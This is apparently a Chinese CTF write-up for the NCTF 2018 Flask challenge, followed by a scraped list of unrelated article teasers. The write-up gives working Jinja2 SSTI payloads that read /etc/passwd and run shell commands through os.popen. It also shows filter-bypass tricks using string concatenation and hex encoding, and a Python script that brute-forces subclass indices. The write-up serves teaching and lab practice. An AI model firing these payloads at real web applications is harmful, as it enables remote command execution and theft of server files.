[NCTF 2018]flask真香

打开题目后没有提示框,尝试扫描后也没有什么结果,猜想是ssti。所以尝试寻找ssti的注入点并判断模版。
模版判断方式:

在url地址中输入{7*7} 后发现不能识别执行。
尝试{{7*7}} ,执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板

页面回显7777777,证明是jinjia2模板注入。接下来就可以利用漏洞尝试读取文件或者执行命令
- 读取
/etc/passwd:http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} - 执行命令(假设找到 os.system 子类):
http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[396]('ls').__call__()}}
常用类及语法:
__class__:表示实例对象所属的类。
__base__:类型对象的直接基类。
__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。
__mro__:一个由类组成的元组,在方法解析期间用于查找基类。
__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。
__init__:初始化类的构造函数,返回类型为function的方法。
__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。
__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。
__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。
__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。
__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。
__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。
__str__():返回描述该对象的字符串,通常用于打印输出。
url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。
get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。
lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{{lipsum.__globals__['os'].popen('ls').read()}})。
current_app:应用上下文的全局变量。
request:用于获取绕过字符串的参数,包括以下内容:
- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。config:当前应用的所有配置。还可以使用{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。
g:通过{{ g }}可以获取<flask.g of 'flask_ssti'>。
1)__class__用来查看变量所属的类,格式为变量.__class__
利用方式:
输入''.__class__
回显<class 'str'>输入().__class__
回显<class 'tuple'>输入{}.__class__
回显<class 'dict'>输入[].__class__
回显<class 'list'>
(2)__bases__用来查看类的基类,格式为变量.__class__.__bases__
利用方式:
输入''.__class__.__bases__
回显(<class 'object'>,)输入().__class__.__bases__
回显(<class 'object'>,)输入{}.__class__.__bases__
回显(<class 'object'>,)输入[].__class__.__bases__
回显(<class 'object'>,)同时可结合数组,如:
输入 变量.__class__.__bases__[0]
可获得第一个基类
因此可以用{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}读取所有子类。

尝试后显示500,说明其中有一些语句是被过滤的。

用fuzz字典爆破过滤内容,发现过滤内容有很多,不是很清楚怎么进一步确定具体的过滤字符,参考别人的wp得知过滤内容如下:
class
subclasses
config
args
request
open
eval
import
有过滤的绕过方式:
1. 基于字符串连接运算符
不同的模板引擎可能支持不同的字符串连接运算符:
- Jinja2 (Python): 可以使用
+运算符 - Twig (PHP): 可以使用
~运算符 - ERB (Ruby): 可以使用
+运算符
jinjia2(py):
{{ 'c' + 'at /etc/passwd' }}
Twig (PHP):
{{ 'c' ~ 'at /etc/passwd' }}
ERB (Ruby):
<%= 'c' + 'at /etc/passwd' %>
2. 使用内置函数和方法
许多模板引擎提供了处理字符串的内置函数或方法,可以用来拼接字符串:
jinjia2(py):
{{ ''.join(['c', 'at', ' ', '/etc/passwd']) }}
Twig (PHP):
{{ ['c', 'at', ' ', '/etc/passwd']|join }}
ERB (Ruby):
<%= ['c', 'at', ' ', '/etc/passwd'].join %>
3. 十六进制或 Unicode 编码
如果某些字符被直接过滤,可以尝试使用十六进制或 Unicode 编码绕过:
jinjia2(py):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
Twig (PHP):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
ERB (Ruby):
<%= "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" %>
这题是有过滤构造payload,首先尝试字符串拼接的方式,因为这题的模版是jinjia2,所以连接符是“+”,构造payload:
{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}}
-

-
()['__cla'+'ss__']:- 通过字符串拼接
__cla和ss__得到__class__,访问元组的__class__属性,返回元组的类对象<class 'tuple'>。
- 通过字符串拼接
-
.__base__:- 访问
<class 'tuple'>的__base__属性,即基类,返回<class 'object'>。
- 访问
-
['__subcl'+'asses__']():- 通过字符串拼接
__subcl和asses__得到__subclasses__,调用__subclasses__()方法,返回一个包含所有子类的列表。
- 通过字符串拼接
构造payload的基本步骤:
-
获取所有子类(jinjia2)
{{ [].__class__.__base__.__subclasses__() }}
-
查找文件操作类
通过索引访问子类,找到文件操作类:
{{ [].__class__.__base__.__subclasses__()[index] }}
-
读取文件内容
一旦确定文件操作类的位置,可以读取文件内容:
{{ [].__class__.__base__.__subclasses__()[index]['__init__'].__globals__['__builtins__']['open']('/etc/passwd').read() }}
接下来通常使用查找eval函数或者是os模块来执行我们需要的命令
eval函数与os模块的作用:
eval 函数:
可以直接执行传入的字符串作为代码。因此,找到 eval 函数意味着可以执行任意代码,这通常是最直接和强大的攻击方式。
os模块:
os 模块提供了执行系统命令、文件操作等功能,利用 os 模块可以执行系统命令、读取或写入文件。
可以用这个脚本找到eval函数的位置,但这题找不到eval。
import requestsurl = input("请输入 URL:")found = Falsefor i in range(500):try:# 构造 payloadpayload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"data = {"name": payload}# 发送 POST 请求response = requests.post(url, data=data)# 检查响应状态码if response.status_code == 200:print(f"Response for index {i}: {response.text}")# 检查响应内容是否包含 "eval"if "eval" in response.text:print(f"Found eval at index: {i}")found = Truebreak # 找到后退出循环except Exception as e:print(f"Error at index {i}: {e}")if not found:print("Did not find eval in the first 500 subclasses.")

尝试找os模块

找到了它的位置,可以构造payload验证一下。
{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()[304]}}

验证说明正确,找到os模块后可以执行任意系统命令,
{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[304].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}}

思路总结:
1、查看是否存在注入点,一般存在于:
- 表单输入:检查应用程序中的所有表单,特别是那些将用户输入显示在页面上的表单字段。
- URL 参数:观察 URL 中的参数,特别是那些用于动态生成内容的参数。
- HTTP 头:某些应用程序会将 HTTP 头的信息(如 User-Agent、Referer)渲染到页面中。
- Cookie:有时应用程序会将 Cookie 中的值渲染到页面中。
2、确定模板类型
例如:Jinja2 (Python)、 Freemarker (Java)、Twig (PHP)、ERB (Ruby)
3、初步构造payload,获取全局变量
(这个步骤注意查看页面,看是否存在过滤)
4、查找关键类、模块
eval、os模块等
5、根据查到的信息构造payload
相关文章:
[NCTF 2018]flask真香
打开题目后没有提示框,尝试扫描后也没有什么结果,猜想是ssti。所以尝试寻找ssti的注入点并判断模版。 模版判断方式: 在url地址中输入{7*7} 后发现不能识别执行。 尝试{{7*7}} ,执行成功,继续往下走注入{{7*7}},如果执…...
性能测试3【搬代码】
1.Linux服务器性能分析命令及详解 2.GarafanainfluxDB监控jmeter数据 3.GarafanaPrometheus监控服务器和数据库性能 4.性能瓶颈分析以及性能调优方案详解 一、无界面压测时, top load average:平均负载 htop 二、Garafana监控平台 传统项目:centosphpm…...
<tesseract><opencv><Python>基于python和opencv,使用ocr识别图片中的文本并进行替换
前言 本文是在python中,利用opencv处理图片,利用tesseractOCR来识别图片中的文本并进行替换的一种实现方法。 环境配置 系统:windows 平台:visual studio code 语言:python 库:pyqt5、opencv、tesseractOCR 代码介绍 本文程序功能实现,主要依赖于tesseractOCR这个库,…...
海南云亿商务咨询有限公司解锁抖音电商新纪元
在当今数字化浪潮中,抖音电商以其独特的魅力和强大的用户基础,迅速成为企业营销的新宠。海南云亿商务咨询有限公司,作为专注于抖音电商服务的领先企业,凭借专业的团队和丰富的经验,为众多企业提供了高效、精准的电商服…...
arm64架构 统信UOS搭建PXE无盘启动Linux系统(麒麟桌面为例)
arm64架构 统信UOS搭建PXE无盘启动Linux系统(麒麟桌面为例) 搞了好久搞得头疼哎 1、准备服务器UOS服务器 准备服务IP 这里是192.168.1.100 1.1、安装程序 yum install -y dhcp tftp tftp-server xinetd nfs-utils rpcbind 2、修改配置 2.1、修改dhcpd.c…...
SpringBoot 实现 阿里云语音通知(SingleCallByTts)
目录 一、准备工作1.开通 阿里云语音服务2.申请企业资质3.创建语音通知模板,审核通过4.调用API接口---SingleCallByTts5.调试API接口---SingleCallByTts 二、代码实现1.导入依赖 com.aliyun:aliyun-java-sdk-dyvmsapi:3.0.22.创建工具类,用于发送语音通知…...
IDEA 连接GitHub仓库并上传项目(同时解决SSH问题)
目录 1 确认自己电脑上已经安装好Git 2 添加GitHub账号 2.1 Setting -> 搜索GitHub-> ‘’ -> Log In with Token 2.2 点击Generate 去GitHub生成Token 2.3 勾选SSH后其他不变直接生成token 2.4 然后复制token添加登录账号即可 3 点击导航栏中VCS -> Create…...
vue/react/js 常用的原生获取当前页面的url网址的相关方法
目录 第一章 场景 第二章 总结 第一章 场景 最近实现需求时遇到这么一种情况: 本地url —— 线上url —— 需求:需要将token清除掉 注意事项:token不是#/后面的参数,说明并不是我们前端返回的,vue路由的方法使用不…...
java-final 关键字
## Java中的final关键字 ### 1. final关键字的基本概念 final是Java中一个非常重要的关键字,用于声明常量、阻止继承和重写,确保类、方法和变量的不可变性。具体来说,final关键字可以用来修饰类、方法和变量(包括成员变量和局部…...
ARM32开发--IIC软实现
知不足而奋进 望远山而前行 目录 文章目录 前言 开发流程 GD32F4软件I2C初始化 GD32F4软件I2C引脚功能 写操作 读操作 总结 前言 在嵌入式系统开发中,软件实现的I2C通信协议扮演着至关重要的角色。本文将深入探讨如何在GD32F4系列微控制器上实现软件I2C功能…...
在有向无环图(DAG)中实现拓扑排序与最短路径和最长路径算法
有向无环图(DAG)是一类非常重要的图结构,广泛应用于任务调度、数据依赖分析等领域。本文将介绍如何在DAG中实现拓扑排序、单源最短路径和单源最长路径算法,并提供完整的Java代码示例。 图结构定义 首先,我们定义一个…...
SQLServer按照年龄段进行分组查询数据
1.按照年龄段对数据进行分组, 将人群分为:青年,中年,老年三种类型,人群类型加上其他分组字段如:性别,进行多条件分组,统计各个年龄段多少人 Select case sex when 1 then ‘男’ when 2 then …...
开放式耳机哪个品牌质量比较好?2024高性价比机型推荐!
随着音乐技术的不断发展,开放式耳机已成为音乐发烧友们的另外一种选择。从最初的简单音质,到如今的高清解析,开放式耳机不断进化升级。音质纯净,佩戴舒适,无论是街头漫步还是家中放松时候,都能带给你身临其…...
Blender骨骼创建
骨骼系统 建立 使用Shift A添加骨骼或在添加|骨架中添加一段骨骼 骨骼的三种模式 -物体模式:做动画,摆人物pose时在该模式 -编辑模式:进行骨骼搭建(选择一段骨骼,然后按E挤出一段骨骼并进行调整) -姿…...
DevExpress WPF中文教程:Grid - 如何完成列和编辑器配置(设计时)?
DevExpress WPF拥有120个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpress WPF能创建有着强大互动功能的XAML基础应用程序,这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。 无论是Office办公软件…...
高考完的三个月想自学点编程,有没有什么建议
👆点击关注 获取更多编程干货👆 对于刚刚完成高考的学生来说,无论未来是否选择计算机科学作为专业方向,自学编程技能是一项非常有价值的投资,掌握编程知识能够帮助同学们为将来的学习和科研 实践奠定一个基础。 随着…...
运维开发(DevOps):加速软件交付的关键方法
1. 什么是运维开发 运维开发(DevOps)是将软件开发(Development)与信息技术运维(Operations)的流程整合在一起的实践方法。DevOps的目标是通过增强开发和运维团队之间的协作,提高软件产品的发布…...
Vue前端环境搭建:从四个方面、五个方面、六个方面和七个方面深度解析
Vue前端环境搭建:从四个方面、五个方面、六个方面和七个方面深度解析 在构建Vue.js项目时,搭建一个稳定且高效的前端环境至关重要。这不仅关乎项目的顺利推进,更直接影响开发者的效率和代码质量。本文将从四个方面、五个方面、六个方面和七个…...
农业领域科技查新点提炼方法附案例!
农业学科是人类通过改造和利用生物有机体(植物、动物、微生物等)及各种自然资源(光、热、水、土壤等)生产出人类需求的农产品的过程,人类在这一过程中所积累的科学原理、技术、工艺和技能,统称为农业科学技术,该领域具有研究范围广、综合性强…...
【Bazel入门与精通】 rules之属性
https://bazel.build/extending/rules?hlzh-cn#attributes Attributes An attribute is a rule argument. Attributes can provide specific values to a target’s implementation, or they can refer to other targets, creating a graph of dependencies. Rule-specifi…...
python/java环境配置
环境变量放一起 python: 1.首先下载Python Python下载地址:Download Python | Python.org downloads ---windows -- 64 2.安装Python 下面两个,然后自定义,全选 可以把前4个选上 3.环境配置 1)搜高级系统设置 2…...
如何将联系人从 iPhone 转移到 Android
从 iPhone 换到 Android 手机时,你可能需要保留重要的数据,例如通讯录。好在,将通讯录从 iPhone 转移到 Android 手机非常简单,你可以从本文中学习 6 种可靠的方法,确保随时保持连接,不错过任何信息。 第 1…...
大模型多显卡多服务器并行计算方法与实践指南
一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...
零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)
本期内容并不是很难,相信大家会学的很愉快,当然对于有后端基础的朋友来说,本期内容更加容易了解,当然没有基础的也别担心,本期内容会详细解释有关内容 本期用到的软件:yakit(因为经过之前好多期…...
JVM虚拟机:内存结构、垃圾回收、性能优化
1、JVM虚拟机的简介 Java 虚拟机(Java Virtual Machine 简称:JVM)是运行所有 Java 程序的抽象计算机,是 Java 语言的运行环境,实现了 Java 程序的跨平台特性。JVM 屏蔽了与具体操作系统平台相关的信息,使得 Java 程序只需生成在 JVM 上运行的目标代码(字节码),就可以…...
django blank 与 null的区别
1.blank blank控制表单验证时是否允许字段为空 2.null null控制数据库层面是否为空 但是,要注意以下几点: Django的表单验证与null无关:null参数控制的是数据库层面字段是否可以为NULL,而blank参数控制的是Django表单验证时字…...
「全栈技术解析」推客小程序系统开发:从架构设计到裂变增长的完整解决方案
在移动互联网营销竞争白热化的当下,推客小程序系统凭借其裂变传播、精准营销等特性,成为企业抢占市场的利器。本文将深度解析推客小程序系统开发的核心技术与实现路径,助力开发者打造具有市场竞争力的营销工具。 一、系统核心功能架构&…...
Qt 事件处理中 return 的深入解析
Qt 事件处理中 return 的深入解析 在 Qt 事件处理中,return 语句的使用是另一个关键概念,它与 event->accept()/event->ignore() 密切相关但作用不同。让我们详细分析一下它们之间的关系和工作原理。 核心区别:不同层级的事件处理 方…...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现指南针功能
指南针功能是许多位置服务应用的基础功能之一。下面我将详细介绍如何在HarmonyOS 5中使用DevEco Studio实现指南针功能。 1. 开发环境准备 确保已安装DevEco Studio 3.1或更高版本确保项目使用的是HarmonyOS 5.0 SDK在项目的module.json5中配置必要的权限 2. 权限配置 在mo…...
Xcode 16 集成 cocoapods 报错
基于 Xcode 16 新建工程项目,集成 cocoapods 执行 pod init 报错 ### Error RuntimeError - PBXGroup attempted to initialize an object with unknown ISA PBXFileSystemSynchronizedRootGroup from attributes: {"isa">"PBXFileSystemSynchro…...
